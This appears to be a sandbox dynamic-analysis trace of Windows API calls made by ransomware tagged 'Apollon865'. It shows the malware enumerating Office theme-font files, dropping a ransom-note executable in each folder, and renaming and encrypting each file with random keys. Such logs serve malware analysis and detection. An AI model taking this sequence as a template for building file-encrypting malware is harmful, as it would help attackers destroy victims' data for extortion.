	[0073.243] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x43b96a30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x43b96a30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0073.248] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.248] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0073.251] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts"
	[0073.251] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8e98 | out: hHeap=0x580000) returned 1
	[0073.251] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0073.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned 64
	[0073.251] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" | out: lpString1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts"
	[0073.251] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0073.251] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0073.264] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0073.264] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x43be2cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x43be2cf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0073.266] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.266] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0073.266] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml.Apollon865") returned 89
	[0073.266] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.269] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3609) returned 1
	[0073.269] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.269] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.269] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.269] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.270] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.270] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.270] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x118
	[0073.271] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000
	[0073.272] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.273] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.273] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.273] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.273] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0073.273] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0073.273] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0073.273] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0073.273] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0073.273] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0073.273] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0073.274] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0073.274] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0073.274] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0073.275] CloseHandle (hObject=0x118) returned 1
	[0073.275] CloseHandle (hObject=0x150) returned 1
	[0073.275] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0073.275] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0073.275] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0073.275] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Angles.xml", cAlternateFileName="")) returned 1
	[0073.275] lstrcmpiW (lpString1="Angles.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.275] lstrcmpiW (lpString1="Angles.xml", lpString2="Apollon865.txt.exe") returned -1
	[0073.275] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml.Apollon865") returned 86
	[0073.276] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.279] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3626) returned 1
	[0073.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.279] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.280] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.280] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.280] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1130, lpName=0x0) returned 0x118
	[0073.282] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1130) returned 0x100000
	[0073.282] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.283] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.283] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.283] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.283] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0073.283] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0073.283] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0073.283] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0073.283] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0073.283] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0073.284] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0073.284] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0073.284] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0073.284] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0073.284] CloseHandle (hObject=0x118) returned 1
	[0073.284] CloseHandle (hObject=0x150) returned 1
	[0073.284] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0073.284] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0073.284] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0073.284] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apex.xml", cAlternateFileName="")) returned 1
	[0073.284] lstrcmpiW (lpString1="Apex.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.284] lstrcmpiW (lpString1="Apex.xml", lpString2="Apollon865.txt.exe") returned -1
	[0073.284] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml.Apollon865") returned 84
	[0073.284] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.285] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3822) returned 1
	[0073.285] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.286] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.286] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.286] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.287] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.287] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.287] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11f0, lpName=0x0) returned 0x118
	[0073.288] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11f0) returned 0x100000
	[0073.289] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.290] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.290] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.290] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.290] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0073.290] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0073.290] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0073.290] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0073.290] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0073.290] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0073.290] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0073.290] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0073.290] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0073.290] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0073.290] CloseHandle (hObject=0x118) returned 1
	[0073.290] CloseHandle (hObject=0x150) returned 1
	[0073.291] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0073.291] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0073.291] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0073.291] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apothecary.xml", cAlternateFileName="APOTHE~1.XML")) returned 1
	[0073.291] lstrcmpiW (lpString1="Apothecary.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.291] lstrcmpiW (lpString1="Apothecary.xml", lpString2="Apollon865.txt.exe") returned 1
	[0073.291] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml.Apollon865") returned 90
	[0073.291] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.292] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3615) returned 1
	[0073.292] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.292] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.292] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.292] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.293] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.293] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.293] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x118
	[0073.294] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000
	[0073.295] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.296] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.296] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.296] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.296] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0073.296] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0073.296] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0073.296] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0073.296] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0073.296] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0073.297] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0073.297] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0073.297] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0073.297] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0073.297] CloseHandle (hObject=0x118) returned 1
	[0073.297] CloseHandle (hObject=0x150) returned 1
	[0073.297] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0073.297] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0073.297] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0073.297] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1
	[0073.297] lstrcmpiW (lpString1="Aspect.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.297] lstrcmpiW (lpString1="Aspect.xml", lpString2="Apollon865.txt.exe") returned 1
	[0073.297] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml.Apollon865") returned 86
	[0073.297] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.298] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3595) returned 1
	[0073.298] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.299] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.299] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.299] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.299] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.299] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.299] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1110, lpName=0x0) returned 0x118
	[0073.304] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1110) returned 0x100000
	[0073.305] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.306] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.306] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.306] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.306] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0073.306] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0073.306] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0073.306] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0073.306] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0073.306] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0073.306] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0073.306] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0073.306] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0073.306] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0073.309] CloseHandle (hObject=0x118) returned 1
	[0073.309] CloseHandle (hObject=0x150) returned 1
